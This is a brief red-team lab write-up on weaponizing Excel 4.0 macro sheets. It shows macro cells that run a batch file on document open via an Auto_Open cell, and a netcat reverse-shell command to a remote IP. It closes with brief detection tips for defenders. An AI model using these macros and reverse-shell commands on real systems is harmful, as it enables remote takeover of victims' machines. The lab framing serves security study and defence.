This lab is based on the research performed by Stan Hegt from Outflank.

Weaponization

A Microsoft Excel Spreadsheet can be weaponized by firstly inserting a new sheet of type "MS Execel 4.0 Macro":

We can then execute command by typing into the cells:

=exec("c:\shell.cmd")
=halt()

As usual, the contents of shell.cmd is a simple netcat reverse shell:

c:\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Note how we need to rename the A1 cell to Auto_Open if we want the Macros to fire off once the document is opened:

Execution

Opening the document and enabling Macros pops a reverse shell:

Note that XLM Macros allows using Win32 APIs, hence shellcode injection is also possible. See the original research link below for more info.

Observations

As usual, look for any suspicious children originating from under the Excel.exe:

Having a quick look at the file with a hex editor, we can see a suspicious string shell.cmd immediately, which is of course good news for defenders:

References